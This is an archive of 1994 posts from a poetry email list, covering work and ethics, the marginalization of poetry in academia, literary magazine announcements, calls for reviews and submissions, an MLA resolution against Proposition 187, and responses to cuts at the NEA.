Spooling back to the issues concerning how to mesh ethics and workplace and needed action, it would seem that at every turn there's temptation to freeze (not act) on account of the rampant impurities that are evident in virtually every institution. Having spent about 15 years in the private sector and only a few in the public sector, and now having clients in both, I've liked the fluency that one gains from operating in a corporate context. It has often (if not always) felt necessary to sort and strain value from the inevitable dross one finds there.

And, of course, those who've NOT worked in the private sector probably find greater mystique in that milieu than do those who have. Why talk about this? Simply to say that one of the things that "gets learned" in the many types of environment that are spawned by greed is the value of amassing little accomplishments, taking action (I prefer not to use the term "small wins," as this connotes at least a battle, if not a war). There's a kind of confidence, false or not, that one can glean from focusing and directing attention and then acting. And I'm sure there are plenty of things one could edit out of such experience. But I find that seeking purity prior to taking action is an exasperating experience.

The point of this is that the best of what's available in a corporate experience frames (thereby makes possible) an action mentality that COULD (although it does not often enough) yield value for social concerns.

I absolutely never feel I've done enough about anything in the way of our largest problems (those real biggies). But it seems that forming hinges between little effort and little effort can at least foster mental health as some version of a collective pads along trying to progress.

The institutionalization of greed, the fostering of subset addictions via the established channels, make all progress feel impossible at times. And yet it is very likely in our small units of communing we live out values that keep shaping the world.

So while some kind of conviction and effort (proof) that action is possible, there are daunting odds. As each day reveals, it's got to be worth it to try.

Sheila Murphy

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164. Donald J. Byrd
Re: Academy, etc.
Mon 12 Dec 1994

Eric writes:

> *As someone who regularly teaches American lit to freshmen & non-majors--not what I was trained to do, as such, in graduate school, but something that I find increasingly entertaining--I'd love to know: what forms of reading do you think SHOULD be taught, or at least encouraged? By reading I mean something like, "engagements with the text," I suppose. An open appeal for advice, before I weigh in with my own ill-formed, ill-gotten notions.*

Undergraduates by and large have never had the experience of grand coherence. I try to teach them to look for big patterns and make it cohere.

Beginning graduate students usually cohere excessively. I try to teach them to let go (Charles' list of algorithm's here might be useful).

Advanced graduate students typically have fallen into utter chaos. I try to teach them to cohere.

The distance between coherence1 of the undergraduates and coherence2 of the advanced graduate students is considerale. There is a coherence that is closed and a coherence that is open.

Don Byrd

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165. Marc Nasdor

Re: haoles

Tue 13 Dec 1994

I spent a month on Maui in 1987 and found a the presence of a suffocating racial pecking order which put white celebrity types and "windsurf nazis" as well as rich Japanese country clubbers on top, native Hawaiians second (due to their land-grant rights and not least their will to be heard), Chinese third, and everybody seemed to beat on the Filipinos, who were stereotyped as living in trailer parks filled with red velvet furniture and Elvises everywhere. I not only found this annoying, I almost got the shit beaten out of me when I went to the wrong bar to have a drink. I had to keep reminding people that I was not a resident, which immediately exempted me from having to participate in this little game.

Otherwise it was a paradise.

--Marc Nasdor

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166. Michael Boughn

Blaser book

Tue 13 Dec 1994

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shuffaloff books announces the forthcoming publication of

"Preface to the Early Poems of Robert Duncan"
by
Robin Blaser

Publication date: March 1995
7.5" x 8.75"
10 pp.

Pre-publication price: $6.00 US/$8.00 CAN (+$1.50 s&h)
After publication: $7.50US/$10.00CAN (+ s&h)

"This essay was originally written as an introduction to the first volume of the *Collected Works of Robert Duncan* published by the University of California. Because of unforeseen complications, it could not be included. It has appeared previously in an earlier version in a catalog of the drawings of Robert Duncan published by the Poetry/Rare Books Collection of the State Universtity of New York at Buffalo."

shuffaloff monograph #1

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or

653 Euclid Ave.
Toronto ON M6G 2T6
(for Canadian orders, make cheques payable to Michael Boughn)

or contact Michael Boughn at [redacted]

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167. Tom Mandel
Re: Univeral Blisters/Individual Burns
Tue 13 Dec 1994

James Sherry writes:

> ...that a single world exists whose cultures are merging and their intersection causes these clashes. The emerging world culture is not better or worse than the indigenous cultures that are being infected by each other.

Well,...

1. No one occupies a position from where it is possible to see what multiple cultures are doing on a world scale, esp. not as the pictured fantasy involves the future, which it is in principle not possible to know.

2. That an emerging world culture (assume it for a moment) is "not better or worse than the indigenous cultures" is either not an empirical

statement (i.e. it is an anthropologist's position) or if it is one, where's the evidence? One could certainly argue that the culture of the Roman Empire, for example, as it grafted itself onto and lived off of indigenous cultures all over Europe and the Med. basin, was a disaster for those cultures, tragedy for their people. I don't think James can assure any "indigenous culture" anywhere that the global transformation he sees will be "not better or worse" for them.

3. Someone somewhere ought to formalize and describe an ailment of the intellect that he/she might call "the consolation of terms." Apparently, mere possession of a term like "culture" is sufficient to give its possessor a sense of having risen above the sombre cthonic clash of undescribed human interests whose stake and way in the world is being steamrollered. Get thee behind me terminology.

Tom Mandel

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168. Rodger Kamenetz
Re: ASSORTED
Tue 13 Dec 1994

Sheila Murphy's phrase "institutionalizaiton of greed" struck me as very useful in the context of both the occupational identity discussions and Don Byrd's splendidly splenetic manifesto. Frankly I'm bored with the aspect of the discussion about which is better academic or corporate or both or neither, or family or boho etc. We all made and make choices and they have consequences, so lets go on with it. A pickpocket can be a great poet (Villon) and so can a saint-- the confusion for my generation was that we confused the exoteric and esoteric -- many of us needed the identity of poet before we ever had the practice. Back to greed: I follow the Buddhist perspective: it is a basic aberration of mind, one of the three poisons also identified with attachment or clinging. Precisely because it is universal, there's no sense looking for greed out there (in corporations, universities etc.)-- it's right here folks and is active in various ways from moment to moment, whether we are greedy for a toast crumb or a tenured professorship. Now Sheila's phrase, institutionalization of greed is to the point-- the great engines of capital refine, develop and advertise new attachments and the wheels keep spinning. Various spiritual disciplines, meditation and prayer-- do offer a perspective adn a practice for recognizing the nature of greed and a de-conditioning from its allure. And I think it better to work on ourselves than to assume the enemy is some 'they" out there. Rodger Kamenetz [redacted]

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169. Mark Wallace
AMERICA: A PRAYER
Tue 13 Dec 1994

AMERICA: A PRAYER

The Honorable Newt Gingrich has informed us that prayer in the public schools is one of the most important issues facing this great nation, and in our firm belief that America doesn't have a prayer, we call upon the Poets of America to give America a prayer. Opportunity is crucial in a capitalist society. We feel therefore that this, the 104th Congress, should have the opportunity to authorize the production of the appropriate American prayer from amongst the deeply felt works of America's finest, most challenging, and dedicated writers.

America's prayer is meant to be read by everybody, but don't let that stop you. Your prayers should be 500 words or less. Please send two copies of your prayer. One, marked "Proposal for Prayer for the Schools," should be sent to The Honorable Newt Gingrich, House of Representatives, 2428 Rayburn Hourse Office Bldg., Washington, D.C. 20515. The other copy should be sent with self-addressed stamped-envelope to Aerial/Edge at the address below. Selections of the prayers we received will appear in an upcoming issue of The New Censorship, and possibly some other forums; we encourage interested publishers to contact us as well. No strictures on style or content. Writers may or may not wish to imagine delivery of their prayer in a classroom context. You do not have to be a U.S. citizen to participate. Also interested in visual materials. Please pass this opportunity on to as many people as possible.

Deadline: Feb. 28, 1995.

Rod Smith Lee Ann Brown Mark Wallace

The Loose Coalition for Democratic Inspiration.

AERIAL/EDGE
P.O. Box 25642
Washington, D.C. 20007

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170. Robert Drake
TRR call for reviews
Tue 13 Dec 1994

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  > > > > > > > > > > CALL FOR REVIEWS < < < < < < < < < <
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folks--

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Catherine Harris Sylvan Delta
Denise Lawson Where You Form the Letter L
Stacy Levine My Horse & other stories
Jena Osman Amblyopia
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Laynie Browne ONE CONSTELLATION
Cole Swenson WALK
Will Alexander ARCANE LAVENDER MORALS
Joe Ross PUSH
Kristin Prevallet from PERTURBATION, MY SISTER
Kevin Magee SEA/LAND
Guy R. Beining TOO FAR TO HEAR

Magazines:

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Exile Vol.2 #4, fall 1994
House Organ #8, fall 1994
The Impercipient #6, November 1994

-& this is just a small sampling...

WE WOULD WELCOME short (100-200 word) reviews of any of the above titles, other publications, or related language-arts work: spoken word recordings, artist's books, intermedia, etc... We also run longer "feature" articles (1000-

2000 wd.), focusing on particular authors, titles, publishers, or tendencies. The emphasis remains on _access_ to publications. Query first. Samples of TapRoot Reviews Electronic Edition (TRee) can be found at the Electronic Poetry Center, and additional "writer's Guidelines" are available from this address.

luigi-bob drake
Burning Press/TRR
[redacted]

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171. Pierre Joris
Re: Academy, etc.
Tue 13 Dec 1994

Oh Lawdie, Lawrd, this discussion of where its better to work, corp vs a.k.adamn is beginning to wear me down it sounds so anglo-puritan. work work work with a sour-grapes coating of ethics. Wasn't one of the reasons to become a poet exactly the possibility of escaping the dreary sludgery of work work work, of transforming that dailyness into a revolution of everyday life? Let us now praise laziness, ein Lob der Faulheit, la vida es suen~o, & from Rabelais to Debord, la fete, pleasure, laughter, sensuality, time spent with friends around a table with food & wine, & laughter, laughter -- which is what I miss most in Yankeeland.

========== Pierre Joris | Dept. of English | "La poesie ne s'impose plus, elle s'expose." SUNY Albany | Paul Celan Albany NY 12222 | tel&fax:[redacted] | email: | "He who leaves a trace, leaves an abcess." [redacted]| Henri Michaux
==========

↑ Index

172. Donald J. Byrd
Re: Academy, etc.
Tue 13 Dec 1994

Pierre Joris writes:
>
> Oh Lawdie, Lawrd, this discussion of where its better to work, corp
> vs a.k.adamn is beginning to wear me down it sounds so anglo-puritan.
> work work work with a sour-grapes coating of ethics. Wasn't one of the
> reasons to become a poet exactly the possibility of escaping the
> dreary sludgery of work work work, of transforming that dailyness into

> a revolution of everyday life? Let us now praise laziness, ein Lob der
> Faulheit, la vida es suen~o, & from Rabelais to Debord, la fete,
> pleasure, laughter, sensuality, time spent with friends around a table
> with food & wine, & laughter, laughter -- which is what I miss most in
> Yankeeland.

I'd say, Pierre, that the first symptoms of repressed greed are incivility and loss of humor (laughter first, the sense of gentle irony thereafter). Of course, Amurikans aren't the only greedy ones, but we probably lead the field...

Probably the sense of irony was the big losser in this last election. Certainly, a sense of humor. The only way to rid the body politics of the likes of Newt Gingrich is with wild laughter.

Don Byrd

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173. Steven Howard Shoemaker

JRNL: Poetry on the Margins (fwd)

Tue 13 Dec 1994

Hey, i posted a query about the "marginalization" of poetry on another pedagogically-oriented list (professors and high school teachers) and thought this list might find the first round of responses interesting, if sometimes lamentable.

steve shoemaker

Forwarded message:
> From daemon Tue Dec 13 11:46:44 1994
> Message-Id: <[redacted]>
> Date: Tue, 13 Dec 1994 11:28:51 -0500
> Reply-To: Teaching the American Literatures <[redacted]>
> Sender: Teaching the American Literatures <[redacted]>
> From: "[redacted] \"Randy Bass\"" <[redacted]
> Subject: JRNL: Poetry on the Margins
> To: Multiple recipients of list T-AMLIT <[redacted]>
>
> ***JRNL: T-AMLIT JOURNAL***
>
> *Poetry on the Margins*
>
> Here are SIX Journal responses to Steve Shoemaker's posting on the
> possible reasons that poetry seems marginalized within the academy.
> He also made the observation that poetry is far less discussed on

> T-AMLIT than prose and calls for more discussion about teaching poetry.
> RBass
> **********
> (1)
> From: IN%"[redacted]"
> Subj: RE: JRNL: Poetry on the Margins
>
> Perhaps because modern poetry has moved away fro sound. Little could be
> sung. Without that rhythmic possibility, I suspect that poetry loses some
> of its immediate appeal. kick the discussion off, perhaps. cheero.
>
> Adolph Soens
> University of Notre Dame
> ++
> (2)
> From: IN%"[redacted]" "Anthony R Petrosky"
> Subj: RE: JRNL: Poetry on the Margins
>
> In response to Steve Shoemaker's note on poetry on the margins, I too
> think it is curious that academics seem to be shying away from poetry.
> As I notice it specifically, there seems to me to be a reluctance to
> teach poetry in conjunction with composition in much the way that there
> seems to be resistance, at least in some places around the country, to
> imagine that literature and composition can be taught together. There
> are too few moments of literature and poetry especially in composition
> readers. There is a lot of interesting stuff happening in poetry, and it
> seems to me to offer students, in particular (from my interests)
> composition students, another way to learn to write by writing about
> poetry and by writing poetry. I would say the same about fiction and
> journalism. It seems to me also that many of the old saws regarding
> poetry and fiction still live on, especially those that represent writing
> in these genres as requiring some sort of natural talent or creativity.
> These notions seem to be strongly held beliefs in public school teaching
> as well as in the universities. It has also seemed to me to be the case
> that my freshmen students can be interested in poetry when the poetry
> presented to them is close to them, close to their language and so on.
> Generally, I would propose that public school students might be more
> interested in poetry, along with their teachers, if they began with
> contemporary poetry and worked their way back in the tradition as they
> became more familiar and comfortable with reading, writing, and writing
> about poetry. I suppose there is a moment when traditions are necessary

> and important to the academic study of poetry for people who want to be
> poets or literature majors, but I would still argue that the seduction
> into poetry comes easiest for students from contemporary readings.
> Partly I understand my position as wanting to create the desire to read
> and write poetry in with my students. I don't know how to do so with my
> colleagues who aren't interested. I wonder too if they need to be
> interested. Although the lack of interest affects students who might
> encounter poetry, as I have been saying, in a composition course. Right
> now that's where my interests are. And with various ways of interweaving
> poetry in composition instruction and into high school courses of study.
>
> Lately I've done a handful of workshops in poetry with high school
> students and teachers of high school students. The groups I've worked
> with were enormously enthusiastic but unschooled and just not in touch
> with contemporary poetry. AWP has a summer program for high school
> teachers in poetry, and that seems to have a lot of potential.
> Prospective high school teachers, like prospective composition
> instructors, don't have much background or experience with poetry. Do
> you see poetry courses, excluding those workshops usually open only to
> graduate student majors, being offered in departments around the
> country? I wonder if anyone has a sense of this, or if we are working
> simply from our limited personal impressions? I know from examining
> almost all of the composition readers and textbooks that few include
> poetry for any purpose.
> ++
>
> (3)
> From: IN%"[redacted]" "Carter C. Revard"
> Subj: RE: JRNL: Poetry on the Margins
>
> Poetry is on the margins because poets marginalized themselves to be
> romantic, to be rebels, to be outsiders, to be the few elite misunderstood
> albatrosses who could fly in their own atmosphere but could not walk in
> bourgeois back yards. It was then taken into the academies and given Boys
> Town publicity as victim of bad bankers and salesmen. The next thing was
> that it lost music to the Victrola and plot to the thrillers, metaphor and
> rhyme to Madison Avenue, in every loss claiming a victory for obscurity
> and solitude and self-pity. The few poets who could teach, like Dr.
> Seuss, had to stay out of teaching, which was declared educational only in
> prose venues, and that prose had to be jargon or it could not be certified
> educational. Eliot said poetry had to be difficult, and this was used as

> excuse for making it unreadable. Then an industry of explainers grew up
> to account for the gap between ordinary readers and what was called
> poetry. The explainers could not get jobs unless explanations were
> needed. This meant that the real poetry--that is, what people need and
> want to read which tells them where they are most deeply hurt and healed,
> made to laugh and cry, entertained and instructed--is what does not have
> to be taught, that is, what people actually find and read despite schools
> and universities. Poetry got into the ivory tower and only the
> enterprising thieves and ---but I now have to confer with a student about
> Shakespeare and Milton, so you will all have to correct my
> misunderstandings on this slender basis, for now.
> ++
++++++++++++++
> (4)
> From: IN%"[redacted]"
> Subj: RE: JRNL: Poetry on the Margins
>
> I think there are many reasons for the "marginalization" of poetry in the
> academy--especially if you're talking about contemporary poetry. One is that
> some of it has become increasingly esoteric, of interest only to specialists
> who have waded through the many pages of theory that supports is. This was
a
> trend begun by the modernists early in the century and taken up by certain
> post-modernist poets who follow that strand. Related to this is the retreat
> from actual life experience and the cerebral nature of some postmodern
> poetry. It's significant, I think that poets whose work is clearly related
> to life experience--like Adrienne Rich, Allen Ginsberg, Robert Bly, Gwendolyn
> Brooks, and more, are really not marginalized but have very large followings.
> I think there is actually a hunger for poetry in this country but people are
> put off by the remoteness of some of the stuff that passes for poetry. I
> know this position will seem reactionary to some academics, but people want
> to read poetry that matters--that makes a difference in their lives. Dana
> Gioia's essay of several years back, "Can Poetry Matter" touches on this.
> Would be nice to have a dialog here--without ad hominem attacks--about how
> we can support a poetry that matters in the society and in the academy.
> ++
+++++++++++++++++++++
>
> (5)
> From: IN%"[redacted]" "Jim Kinney" 9-DEC-1994
> SUBJ: Poetry on the Margins
>

> Part of the current lack of interest in poetry is, I suspect,
> simply a function of the pendulum swing away from the 30-year
> hegemony of poetry under the New Critics in American universities.
> Fashion powers our work as much as theory, and poetry right now is
> old fashioned as well as less theorized than narrative at the
> moment. Jim Kinney
> ++
>
> (6)
> From: IN%"[redacted]" "Kevin Lewis"
> Subj: RE: JRNL: Poetry on the Margins
>
> I like Steve's suggestion that we talk about and perhaps teach poetry more.
>
> I teach in a religious studies department because I got a degree in
> religion and lit with a dissertation on religion and poetry (and because
> that's where the job was when I came along). Now I get a lot of work as
> the outside examiner or reader on English Phd committees--which I enjoy.
> An observation: with one exception, my colleagues on the English faculty
> with whom I sit around the table "examining" candidates *never* ask about
> the particular uses of language in poetry which makes it poetry and not
> something else. And that exception is nearing retirement. I ask you who
> read and contribute to this list: what has happened?
>
> Has theory obsession, has multi-culturalism, has historicism new or old,
> has (God help us) fiction, driven poetry as poetry out of the curriculum?
> I sense embarrassment among my colleagues in the English faculty, both
> that they are not teaching it *and* that they are not sufficiently
> versed in it (sorry) themselves. I may have that wrong, however. Is it
> there are always so many more important things to do in an English
> department and in one's career in literary studies? Are there fewer and
> and fewer in the profession who care about poetic uses of languages because
> they write or once wrote poetry themselves (or because they know poets
> and perhaps observe how poets actually work)?
>
> I am a fan of Helen Vendler. I read her with fascination, wanting to see
> and to describe in poems and poetries what she sees, hears, and describes.
> Others will have their favorites obviously. Are you going to have to be
> a little bit nutty or appointed in religious studies to cultivate a view
> of poetry, as it were, from the inside, asking how poems and poetries
> tick and how they work? Did poetry go out with the "new criticism?" Why

> are the new formalisms so inept at imagining the process of poetic making?
>
> I teach poetry every semester: Dickey, Auden, D.H. Lawrence, Blake, Plath,
> Blake, Millay and Bunting (next semester in RELG 471: Spiritual
> Autobiography), Whitman, Dante in translation (Sayers). I can never teach
> it without wanting to attend to the technique in dialectical relation
> to the mystique. Sorry: that sounds excessively cute, but you get the point.
>
> Kevin Lewis
> [redacted]
>

↑ Index

174. Steve Evans
Re: Academy, etc.
Tue 13 Dec 1994

Pierre Joris notes that laughter is what
he misses most in "Yankeeland," to which
I would just add--among those possibilities
of embodied interaction that get absented
here at the keyboard, the possibility of
sharing a laugh is the one I most miss.

Absent that possibility, I know I drift
into a kind of unrelieved mordancy--not
terribly generous, and not terribly inter-
esting. I take it that this tendency is
what James calls being "well reasoned"
(which I think translates roughly as "a bore").

I do know that without laughter to leaven
it, the "big talk" of politics strikes me
as out of scale, a kind of impossibility.
To the extent that I have persisted, it
has been in nervous awareness of that im-
possibility, as well as of the "consolation
of terminology" that Tom Mandel mentions.

By the way, I owe an apology to Tom for
assuming a while back that I knew what
his response to a statement of mine might be--
the gesture rang of defensiveness and cut

against the grain of our for(u)m here,
where allowing for surprise is a key value.

I sometimes wonder if the disjunction between abstract/concrete (or better: what is thought and what is actionable) isn't the most pressing concrete fact of current political life. In other contexts, I've thought that beginning with the specificity of poetry is the best check against going to the abstract too quickly (to paraphrase Sartre on the universal and to recall, also, that passage of Joan Cock's (?) which Patrick cited a while back). With the exception of Tom's inclusion of an Alan Bernheimer poem a few days ago, I think I've missed poetry only a little less than I've missed laughter in recent days. I don't mean to construct yet another binary--I don't credit separations of poetry and politics and I doubt others here do either--but just to note that the value we convene around here is primarily that of poetic practice: after that, the spectrum of political positioning is, if not stunningly unpredictable(it isn't), a perhaps rather highly individuated mirror of the available categories that structure the wider citizenry.

At this moment, the possibility of "internationalism" strikes me as the most interesting topic for further discussion--as an actionable thought some of us are having. I agree with Ron that it is not coincidental that poets, and intellectuals more generally, should be thinking such thoughts. At the risk of consolidating that reading-list Tom has expressed antipathy towards, I think Bourdieu has some good things to say in this regard in his address called "Universal Corporatism: The Role of Intellectuals in the Modern World" (Poetics Today 12.4 [1991]: 655-669). I would also refer those who have questioned my use of the term "autonomy" to that essay for a sense of how I have been intending it.

Well, I near the end without having elicited a single chuckle I'm sure. Alas--

↑ Index

175. Eric Selinger
Ron Johnson
Tue 13 Dec 1994

Some weeks ago, as I recall, someone gave the name of the New Mexico publisher who's bringing out the complete ARK. I lost my copy of this information, & am eager to get a copy or galleys to help me finish a Dictionary of Literary Biography entry on RJ. I've left word for the poet himself, out at Berkeley, but if anyone here could pass the info along, I'd appreciate it.

(Am also ISO a copy of the out-of-print "Complete Short & Early Works" to supplement what I've been able to work with at the Library of Congress so far. Will pay postage & copying costs, if necessary.)

EMS

↑ Index

176. Steven Howard Shoemaker
dark familiar
Tue 13 Dec 1994

> > Oh Lawdie, Lawrd, this discussion of where its better to work, corp
> vs a.k.adamn is beginning to wear me down it sounds so anglo-puritan.
> work work work with a sour-grapes coating of ethics. Wasn't one of
the > reasons to become a poet exactly the possibility of escaping the
> dreary sludgery of work work work, of transforming that dailyness
into > a revolution of everyday life? Let us now praise laziness, ein
Lob der > Faulheit, la vida es suen~o, & from Rabelais to Debord, la
fete, > pleasure, laughter, sensuality, time spent with friends around
a table > with food & wine, & laughter, laughter -- which is what I
miss most in > Yankeeland. > >
==========
> Pierre Joris | > Dept. of English | "La poesie ne s'impose plus,
elle s'expose." > SUNY Albany | Paul Celan > Albany NY 12222 | >
tel&fax:[redacted] | > email: | "He who leaves a trace, leaves an
abcess." > [redacted]| Henri Michaux >
==========

I just discovered a new "emoticon": ^;^

It looks to me like a cat sticking out its tongue. I propose we let it preside as a sort of dark "familiar," invoking the spirit of (necessarily macabre?) comedy Pierre recommends.

steve shoemaker

↑ Index

177. James Sherry
Re: AMERICA: A PRAYER
Tue 13 Dec 1994

The prayer in the schools which I used most often and most effectively was, "May he fuck you, teach."

↑ Index

178. James Sherry
Re: Univeral Blisters/Individual Burns
Tue 13 Dec 1994

Mr. Mandel is afraid to predict that we will have weather.

↑ Index

179. Tom Mandel
Re: Academy, etc.
Tue 13 Dec 1994

---

in reply to Pierre Joris:

Fine, how about your place?

I remember reading somewhere in Georges Perec (I think in an occasional piece in his magazine, name of wch I forget) teh delightful observation wch I must paraphrase, that there is no writer, however much he regards himself (or she herself) as doing serious work, who has not lain in bed with the sound of the working class outside heading off to work and felt a satisfaction either sly or hearty at what he/she has gotten away with in this world!

Where, by th eway, are all these posts advising anyone that is better to work in the corporate world (better for who and what). I haven't noticed any. Personally, I recommend to anyone who doesn't mind the personal uncertainties therewith associated to work for his or herself.

Tom Mandel

↑ Index

180. Mark Roberts
Southerly/AWOL
Tue 13 Dec 1994

****

AUSTRALIAN WRITING ONLINE is a small press distribution service which we hope will help Australian magazines, journals and publishers to reach a much wider audience through the internet. As a first step we will be posting information and subscription details for a number of magazines and publishers to a number of discussion groups and lists. We hope to build up a large emailing list which includes as many libraries as possible. If you know of a list or discussion group which you think might be worthwhile posting or if you would like more information about AWOL please email AWOL at [redacted]..

Please note that [redacted] is a temporary address until we set up our own address sometime next year

****

SOUTHERLY

Southerly is Australia's oldest literary magazine. For over fifty years it has held a central place in the making of Australian literature. The work of Australia's finest writers has appeared in its pages, and been discussed in its critical essays and commentaries.

Now Southerly has a renewed appeal, with a clear new design by Toni Hope-Caten, and covers which feature work by Australian artists from the collection of the Museum of Contemporary Art in Sydney. The presentation of the magazine's contents has also changed. We publish a wide range of poetry, fiction and criticism from writers all over Australia and New Zealand. But we also seek out or commission writing which has a special appeal, because of innovative or challenging qualities, or because it helps to throw new light on current literary concerns.

The September 1994 issue of Southerly features excerpts from Fay Zwicky's unpublished journal and essays on her poetry by Ivor Indyk and Elsa Linguanti; a selection of work by the poets associated with Collective Effort, including a long poem from P0 's epic '24 Hours'; new poems by Peter Skrzynecki and an essay on his poetry by Michael Griffith; Carl Harrison-Ford on literary hoaxes; poetry by the New Zealand poet Lauris Edmonds; and reviews of contemporary Australian writing by Judith Beveridge, Evelyn Juers, Noel Rowe and Nicolette Stasko.

The December issue of Southerly includes new pieces by Archie Weller, Antigone Kefala and Dorothy Porter; an important paper by David Carter on the reverse cultural cringe in Australian literature; essays by Jill Roe on Miles

Franklin, Simon Petch on Janet Frame and Tony Winner on David Malouf; and fiction and poetry by Fiona Place, Grant Caldwell, Geoff Page, Richard Allen, Jill Jones and many more.

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Southerly is edited by Ivor Indyk and Elizabeth Webby, and is published quarterly by the English Association, Sydney. For enquiries about subscriptions and contributions call 02 [redacted] (international 61 2 [redacted]).

cut here (print this message and mail the subscription form to Southerly) .....

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Southerly is assisted by the Australia Council, the Australian Government's arts advisory and support organisation, and the New South Wales Government through the Ministry for the Arts.

↑ Index

181. Kathryne Lindberg
(no subject)
Tue 13 Dec 1994

Please ignore the material re: transfer of information and commentary
on future conferences etc. I didn't know how to erase all but RESOLUTION fyi.
----------Original message----------
From: AXPVMS::BRQ 13-DEC-1994 11:18:14.39
To: BOVE
CC:
Subj: mla resolution

From: IN%"[redacted]" "[redacted]" 9-DEC-1994
18:16:41.67
To: IN%"[redacted]" "John Beverley"
CC:
Subj: Fw: MLA Resolution vs Proposition 187 (fwd)

("port 48460"@choplifter.rs.itd.umich.edu)
by vms.cis.pitt.edu (PMDF V4.3-10 #6609)
id <[redacted]>; Fri, 09 Dec 1994 18:16:37 -0400 (EDT)
9 Dec 1994 18:16:36 -0500
Date: Fri, 09 Dec 1994 18:16:35 -0500 (EST)
From: "[redacted]" <[redacted]>
Subject: Fw: MLA Resolution vs Proposition 187 (fwd)
To: John Beverley <[redacted]>
<[redacted]>

Hi, In case you have not heard of this resolution I am forwarding it to you. I have been in touch with Julio Ramos and he is working on a proposal for the Humanities Institute at Irvine for a subaltern colloquium. He needs to know when would it be a good time in Fall 95. I thought of the middle of October, after LASA and the semester has gotten going. Let me know what you think. It seems that the issue of DISPOSITIO before ours should be finished this semester, so we should be next by the beginning of the year. You need to send me your revised version. Don't forget to include a diskette. Un abrazo, Jose

---------- Forwarded message ----------
Date: Fri, 9 Dec 94 16:27:30 EST
From: [redacted]

To: [redacted]
Subject: Fw: MLA Resolution vs Proposition 187

------- Forwarded message

Date: Fri, 9 Dec 94 14:44:26 EST
From: [redacted]
To: [redacted],
[redacted],
[redacted],
[redacted]
Subject: Fw: MLA Resolution vs Proposition 187

This came to me today, folks...send it around.
Catherine

------- Forwarded message

10:32:22 EST
SMTP id AA00850
(5.67b8/IDA-1.5 for <[redacted]>); Fri, 9 Dec 1994
09:32:00 -0600
Date: Fri, 9 Dec 1994 09:27:31 -0600 (CST)
From: "Linde Brocato" <[redacted]>
To: <[redacted]>
Subject: Fw: MLA Resolution vs Proposition 187

From: GROVER FURR <[redacted]>
Thu, 8 Dec 1994 22:54:00 EST
To: Multiple recipients of list MEDGAY-L <[redacted]>
Subject: MLA Resolution vs Proposition 187

Colleagues and friends:

I am helping circulate a resolution, to be proposed at the Modern Language Association Convention, Dec. 26-30, in San Diego, calling for the MLA -- the largest professional academic association in the country, perhaps the world -- to oppose Prop. 187; to urge teachers not to cooperate with it; and not to meet in California until the anti-immigrant provisions of Prop. 187 are repealed.

If anyone reading this note is a current member of the MLA, or knows MLA members, I urge you to put your name to the resolution below and return it to me, and to forward the text of the resolution, either electronically or in hard copy, to other members for their signatures. They may return them to me at my address (below).

If this resolution were to be passed, it would represent a considerable blow to the convention business in CA. But more important by far would be the message it would send to educators and the world at large.

Please feel free to repost this message to other newsgroups and on relevant Listservers, but please be sure to ask that the signed resolutions be returned to me by Dec. 24, as I have to take them to San Diego on Dec. 26.

Sincerely,

Grover C. Furr

English Department
Montclair State University
Upper Montclair, NJ 07043
[redacted]

* * * * * * * * * *

Resolution in Opposition to Proposition 187

WHEREAS the recently-passed ballot California initiative called Proposition 187 has called for the denial of public education--at the primary, secondary, junior college, college, and university levels--to undocumented workers and their children; and

WHEREAS public school teachers have been required to help verify the citizenship status of their students, in effect to serve as INS agents; and

WHEREAS Proposition 187 was passed in an election year characterized by an alarmingly xenophobic and racist atmosphere in which undocumented workers became scapegoats for the economic problems facing California's working people, even though immigrant workers, both undocumented and documented, continue to be a mainstay of California's economy; and

WHEREAS the dangerously fascistic implications of Proposition 187 are revealed by the fact that the "Save Our State" movement backing Proposition 187 was funded in significant part by the Pioneer Foundation, a group that has since the 1930s been committed to demonstrating the genetic inferiority of African- American and other nonwhite peoples; and

WHEREAS the Modern Language Association is committed to extending education to all segments of the US population and is unalterably opposed to all forms of xenophobic and racist ideology and practice;

BE IT RESOLVED THAT the Modern Language Association condemns the denial of public education to undocumented workers and their children in California and takes steps to publicize this condemnation; and

BE IT FURTHER RESOLVED THAT the MLA urges present and future public school teachers not to cooperate with the State request to verify the legality of their students' immigration status; and

BE IT FURTHER RESOLVED THAT the MLA refuses to hold any meetings or conventions in California until such a time as the anti-immigrant provisions of Proposition 187 are repealed.

We the undersigned members of the MLA, urge that the above resolution be discussed and passed at the 1994 Convention.

NAME (Print/Signature) DEPT/INSTITUTION

1. _____

2. _____

↑ Index

182. Mn Center For Book Arts

Re: town/gown/marriage/kindergarten/bottle

Tue 13 Dec 1994

Today I only changed three diapers, but signed 300 or so fundraising letters, worked on one mid-length poem, put off writing a review, shoveled the snow (two days late) on a sidewalk, sat with children while spouse went to do her chore as representative on an interim steering committee for a neighborhood revitalization plan, and may have danced semi-naked in front of my window, but feel neither particularly mad nor happy. I think if one goes deeply enough into the family unit one inevitably finds chaos & wonder there, perhaps a bit of BOHO. I want to thank you, Chris, for pushing this just a little.

charles

↑ Index

183. Mn Center For Book Arts

NEA ???

Tue 13 Dec 1994

There was a message several days ago which sought response to questions as to the value of the NEA in this time of its attack following recent elections. I certainly don't have the answer to those questions, but I have been asked to speak with a group of six literary organizations here in Minneapolis this Sunday (four of which are four of the eight largest non-profit literary publishers in the

country, one of which is the largest independent writer's center in the country, the other of which is the center for book arts I direct -- they all bring in ideas about literary practice which I don't particularly share, but also seem to bring in a willingness to cooperate for the good of all, if such is possible). The agenda for this meeting is this congressional attack on the NEA (as I hear it, opinion ranges everywhere from a sense that the NEA will be abolished to, at the most optimistic, that it will receive a 10% cut each year for the next five years) and how to respond to such. If any on this forum have a particular interest in this, or specific ideas/questions to bring to such a meeting, I would love to hear from you before Sunday morning (Dec. 18), either on this forum, in my private e-mail box ([redacted]), or by telephone at work ([redacted]). Thank you.

charles alexander

↑ Index

184. William Lavender

act/cat/tongue

Wed 14 Dec 1994

My big gray castrated cat lies in my lap
while I read these scrolls, and while I'm mousing
I scratch his head and he purs and his tongue
hangs out like Stimpy. I have to laugh. It's true
that when you work for a corporation you get a sense
of the act, like you put your documentation together
I guess and then you confer with your people
and then you have begun to set a wheel in motion
and that wheel is money and it is an act.
A genre is an act. Also an identity.
I confess, though, that I've never been able to lie in bed
while the rest of the world goes off to work...
not an ethical thing, but insomnia. Up until now
I though poets were just other people with insomnia.

↑ Index

185. Susan Schultz

Re: haoles

Wed 14 Dec 1994

Sorry to hear about traumatic experiences in "paradise." Of course the word itself, so often applied to Hawaii in the national media, to say nothing of Visitor's Board brochures, is no help at all. Just a couple more thoughts related to teaching in a multicultural classroom, and also inspired by a cursory look at

